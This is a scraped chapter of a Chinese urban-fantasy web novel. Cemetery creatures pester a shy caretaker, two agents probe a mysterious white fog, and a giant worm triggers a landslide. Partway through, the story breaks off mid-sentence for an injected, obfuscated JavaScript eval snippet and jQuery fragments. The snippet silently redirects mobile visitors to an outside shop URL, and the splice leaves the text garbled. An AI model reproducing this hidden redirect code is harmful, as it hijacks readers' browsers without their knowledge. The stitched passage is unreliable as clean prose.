(26)
以上皆为严&陈视角。
实则安浔什么都没看见,也没有听见。
他只觉得脚下晃了晃,一阵强风扑面而来。等他战战兢兢睁开眼时,发现鸽子身边空无一物,一团空气闪亮登场。
安浔:“……”
他不明白这只邪恶霉菌球为什么和他过不去。
可能他看起来很好欺负吧。
连鸽子都知道,他是全墓园最好惹的人。
安浔一脸生无可恋地从鸽子身边绕开,轻飘飘道:“我今天要带客户……下次一定。”
邪恶霉菌球:“?”
真是被看扁了!
它并不打算放安浔离开,当即愤怒大吼:
“大宝贝!弄他!!给你涨工资!!!”
下一秒。
佰手豁出去似的,总算撤开挡在脸前的触手,露出了黑葡萄般圆溜溜的眼睛,以及一张向外凸出犹如炮筒的“O”型大嘴。
“tui——”
一团粉红色的水球在它的口中凝聚,朝安浔的背影喷射而去。
陈羿川见状,果断掰断荧光棒,提剑就要冲去——
“等等。”
然后被严祈明拎着小黄鸭帽子拖回去了。
陈羿川:“??”
他急的直蹬腿:“你干什么!严祈明你疯了吗!!”
严祈明淡定地朝前一指。
只见粉红色的水球精准无误地落在了安浔的脚下,变成了一滩冒着气泡的肥皂水。
然后安浔脚下一滑。
他伸在前面的左脚朝前一蹿,右脚向后一展——
直接原地劈了个叉。
“…………?”
安浔保持着一字马的状态停顿在地,大脑起码空白了十秒钟。
发生了什么?
他滑倒了?
他脑子有点发懵,隔了好半天才从地上爬起,正要接着往前走——
大宝贝:“tui——”
“???”安浔又劈了个叉。
邪恶霉菌球得意洋洋地飞到安浔身前。
“咕咕咕!知道鸽的厉害了吧!”
“让你不尊重鸽!你说和领导低头认个错不就完事了吗?年轻人,鸽劝你一句,你……”
安浔飞快伸手,熟练捏住鸽子的嘴巴,将其甩到一边。
小小鸽子。
叽里咕噜说什么呢。
鸽子:“!!”
“你竟然还敢……!!!”
安浔重新站起身。
鸽子又飞了回来,不依不饶地拦在他身前。他正要继续走,脚下却又一滑——
Duang!
安浔再度劈叉。
这次一字马的很丝滑,鸽子朝他俯冲过来,圆滚滚的肚子恰好撞向了安浔的鞋尖。他坐到地上时皮鞋瞬间上翘九十度,一套连招下来,鸽子当场被创飞了。
“@#%#*&!!”
伴着一阵鸟语花香,鸽子在空中划过一道美丽的抛物线,彻底消失在众人眼中。
佰手停止,不再当喷子了。
它将触手悄悄下移,露出一点眼睛盯鸽子飞远的方向,甜妹音依旧羞涩:“呃……老板?还回来吃饭吗?”
安浔一副完全状况外的样子。
他从地上爬起来,左看看右看看,不知所措地挠挠头,最后小声嘀咕道:“……碰瓷?”
“…………”陈羿川默默把剑收了起来。
这里蚀体的状况完全超出了他的认知。
除了极少部分拥有智慧的中高阶蚀体外,大部分蚀体都性情残暴且以人类为食。
社会新闻中报道的许多“自然灾害”、“异常死亡”、“集体失踪”等等事件,其实际情况也许并非媒体所描述的那般,而是一桩一桩被防控中心通过公关手段隐藏起来的蚀体入侵事件。
陈羿川虽然年轻,但已经入职防控中心六年了,并不是新人。
在这期间,他处理过大大小小近百起蚀体入侵事件,但从未遇见过这么多……性情温和的蚀体。
它们似乎并不认为自己是蚀体。
而是给予了自身某种社会定位——赤字贼是老板,佰手是厨子,噬犬是保安。
至于安浔那其他几个同事,虽然没见到,但恐怕也是被蚀体寄生的人类。
而正因这里的蚀体存在这种诡异的自我认知,还在各司其职、努力工作,所以安浔迄今为止都没注意到麟溪墓园的“同事”们早已面目全非。
但是……为什么?
为什么这里的蚀体和外面的不一样?
陈羿川抬头,看向身侧的严祈明。
只见高大的银发青年抱着双臂,眉头微蹙,以一种极具探究的目光打量着安浔。
——因为他?
陈羿川收回视线,看着安浔朝他们走来。
“那个……不、不好意思。”
安浔拍了拍被地面蹭脏的裤子,表情尴尬。
他又开始抖抖抖了。
频率像人体筋膜枪,脸红的仿佛刚从蒸锅端出来,却还在非常努力地讲话:
“不不不知道为为什么,地上突然好滑……我我我我现在带你们去墓地,你们走路时小心点qwq。”
陈羿川点点头。
墓园内也混杂着许多蚀体。
有的寄生在植物上,有的寄生在动物上,还有一些飘在墓碑上打盹。好在是白天,否则真的很像什么灵异电影。
而安浔还在磕磕绊绊地介绍着墓地,完全不知自己身边围绕了一群蚀体。
几只低阶的[浮尘]从安浔脸前飘过。
它们实在太小了,外观像微小的淡蓝色水母,不仔细看甚至看不出是水母形态。至于它们的能力……
安浔:“这片的话相对来说是风水很好的位置,后方靠山、前方开阔,并且全年避风,这象征着逝者可以拥有一个坚实的依托和光明的未来……阿嚏!”
没什么能力。
像这样的低阶蚀体并不会对人类造成威胁,只是多了一些无伤大雅的粉尘。
但这一下喷嚏,直接把[浮尘]全吹走了。
“……不好意思,我可能今早又着凉了。”安浔有点不适地揉揉鼻子,“对了,刚才说到哪了?”
陈羿川:“光明的未来。”
“我有个问题啊……逝者真的会有这种东西吗?”
安浔:“应该吧。投个好胎还挺重要的。”
陈羿川:“……确实。”
一行三人就这么一路逛完了整个墓地。
虽然陈羿川一路上始终戒备着突发情况的出现,但整个园区相当安逸。蚀体们虽然始终盯着他们这些外来者,却完全没有准备袭击的样子。
甚至可以隐约听到一些蚀体的讨论:
“那个白毛真好看啊!怎么年纪轻轻的就要英年早逝了?”
“嘘!你懂什么?来这好啊,以后岂不是能天天看了?”
“旁边穿小黄鸭外套的弟弟也很可爱嘛,他俩就不能一起来?”
“管理员不是一直在推荐双人墓吗?他俩睡一窝,咱姐几个以后就有福咯~”
“……”陈羿川听得头皮发麻。
这你们也能嗑!?
而且外面的蚀体都在讨论怎么吃人,你们在干什么?讨论怎么吃饭嗑cp!?
这对吗???
严祈明:“这不对。”
陈羿川赞同地点点头:“是不对。”
“我是说,这里没有我想要的东西。”严祈明叹了口气,“我以为能在这里得到些和[茧幕]有关的线索。但实际上,问题不仅没能解决,反而变得更多了。”
他的目光在安浔的背影,和笼罩在墓园之外的白雾间游移。
有什么东西影响了这里的蚀体。
但不能确定,究竟是谁影响的。
严祈明抬起手,轻轻触向身边的林区。
林区处在墓园边缘,上方覆盖着一层肉眼可见的白雾。
这片白雾从他们上山时就一直在,视野白茫茫的一片,可见度极低。
当时他们坐在安浔车上,虽然看不清,但一路畅通无阻。而此时他们离安浔太远,严祈明的指尖果然无法再穿过雾气。
就像游戏里不可突破的空气墙,受到某种法则的限制,他的手指无论如何用力,都无法再朝前挺进。
这种白雾,应该是与[茧幕]类似的领域型蚀体。
他们此前从未观测到过这种蚀体,无法确定其能力和特性,但可以推测也能将内外事物隔绝,致其无法进入、也无法离开。否则那个小黄毛不会说自己找不到离开墓园的路。
在来的路上,严祈明就用侵蚀系数勘测仪对白雾进行过测算。侵蚀系数和茧幕差不多,完全可以评到A级。
严祈明沉思了一会。
……进白雾里看看?
但他和陈羿川都进不去。
要想进去,就得拉上安浔。
“安浔。”严祈明叫住了走在前方的青年,“可以带我们去后山走一圈吗?”
安浔扭过头,表情变得怪异了起来。
他看了看严祈明,又看了看陈羿川,过了好半天才悄悄道:
“那什么……如果你们嫌贵,我可以给你们内部员工价的。”
“老实说,我也觉得这里的墓地价位高,还只有二十年使用权,不续费就要被迫搬走,又贵又坑。不过后山那片骨灰埋的乱七八糟的,随便走一步都可能踩到别人,你们就……别考虑了吧,身前身后总归要有地方住的,不然多可怜啊。”
严祈明:“……”
陈羿川:“……”
谢谢你啊,好兄弟。
二人解释了好一通,表示就是好奇后山的环境后,安浔总算答应了带他们进后山。
有了安浔在身边,他们果然顺利踏入白雾。
白雾看见安浔,就像在自行避让般,非常懂事地朝周边散去,硬是让出一条安全的通路。
安浔:“这里还挺不好走的,你们注意脚下。”
这里的确不好走。
对于严祈明和陈羿川来说,他们的能见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569270|187026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
度仅有周身三米,乳白色的雾气覆盖在眼前,基本看不清东西。二人跟在安浔身后的每一步,都尤为小心。
参天古树的枝条张牙舞爪地向外延伸,在浓雾下化作一道道狰狞的剪影。他们踏过土壤、踩碎落叶的脚步声,化作山林间唯一的声响。
白雾之中,没有蚀体。
或许是因为白雾本身具备屏障作用,其他蚀体根本无法进入。而白雾原本就是强大的高阶蚀体,其他低阶蚀体也根本不敢靠近。
严祈明环顾起四周。
这里实在太安静了。
他记得,溯魂说过自己是被什么人投放在麟溪墓园的,甚至整个麟溪山上的蚀体都是如此——自然也包含这片白雾。
投放白雾的目的是什么?
把其他蚀体都圈养在墓园内?
思忖之时,脚下突然传来一阵剧烈的震荡。
整座山都随之摇晃起来。
地面的土壤向上高高隆起,远边的树木颤颤巍巍地开始抖动!
轰——!!!
“安浔!!”
陈羿川眼疾手快地扯住安浔的衣领,前方一颗高耸的巨树轰然倒下!
树木与安浔的脸仅间隔半厘米,他被扯着向后踉跄了几步,这才反应过来发生了什么。
安浔:“这是……”
轰!!!
轰!!!!!
狂风摇曳,泥土飞散。
几颗巨树被连根高高顶起,某种庞然大物仿佛游走在地底,如锐利的笋尖突然破土而出!!!
陈羿川大呼了一声:“卧槽!!!”
只见白雾后方,慢慢升起一条巨大而粗壮的深褐色蚯蚓。张开的圆形裂口处,还向下滴落着粘稠的涎水。
B级蚀体[齿蚯]。
如果放在平地,这充其量是个胃口比较好的大长虫子,行动滞缓、脑子也不好使。祓除难度相对较低。
但放在山上……
这他爹的随便蛄蛹几下,就能造成毁灭性的灾害啊!!!!
“跑——!!!”
陈羿川二话不说,扯着安浔的胳膊就走。
安浔虽然看不见,但能感受到山间的异样。
他跑得呼哧带喘,面色煞白。
在山里工作了这么多年,他立刻意识到这里发生了什么。
咔嚓。
咔嚓咔嚓……
不远处的岩石表层,也出现了一道道裂纹。岩体左右摇晃,已经产生了明显的松动。
这是山体滑坡!!!
“等、等等……往这边来。”安浔说,“我记得路,从这个方向跑能通往停车场,我骑车载着你们跑,应该来得及……!”
他带着二人穿过颤动的林丛,拨开繁茂的枝叶,从树木的罅隙间穿过,总算看见了停车场。
安浔将钥匙插入电瓶车,招呼着二人赶紧上车。
“小陈,你坐中间,我坐后面。”严祈明盯着后方,默默掏出一根荧光棒。
陈羿川同样看了眼丛林深处,那股异样的震荡正在逼近。
“你得了吧,你这么大体格,坐后面根本就……”
下一秒,严祈明直接提着他的帽子给他拎到了车上。
陈羿川:“……?”
“小孩别添乱,坐着得了。”
严祈明迅速跃上电瓶车,反身搭在最后方,冷静道:“安浔,开车!”
安浔用力拧下转把。
薄荷绿色的小电驴很快驶离墓园,在山道间疾驰。
山体滑坡的规模与速度远比他们想象的要大,坍塌的树木和岩石混着瀑布般的土壤向下滑行。
安浔的手在抖。
他很紧张,胸腔内的心脏噗通噗通地狂跳,但大脑却前所未有地清醒——只要能从这条山道顺利下去,到前方的路口,他就可以开向滑坡的侧方,安全规避掉这场自然灾害。
他一路下行,终于看见了心心念念的路口!
安浔咬咬牙:“你们坚持住!马上就到了!!”
他余光一瞥,突然发现后视镜里——Prayer正反坐在最后排,徒留背影,双手紧握着两根粉红色荧光棒,在空中四下挥舞。
安浔:“???”
不是,这都啥时候了!
Prayer你非要这会练舞蹈吗!!!
Prayer跳着跳着,其中一根荧光棒还掉了,他当即破口大骂:“艹!这一次性的玩意不顶用啊!!我为什么不带专武来度假我脑子有坑啊!!!!!”
“用我的!”
陈羿川也掏出一根荧光棒,是亮黄色的。
他正要朝严祈明递去,后方竟传来一阵剧烈的震荡!
严祈明刚要接过,身下却刚好一晃。
他整个人朝右边一歪,正欲伸手扶稳,地底却钻出一截齿蚯的长尾!
砰!!!
长尾拍向地面,造成剧烈的冲击!
小电驴被余波震起,足足离地将近一米之高。惯性使然,后方的男人瞬间被甩了出去——
“严祈明!!!!”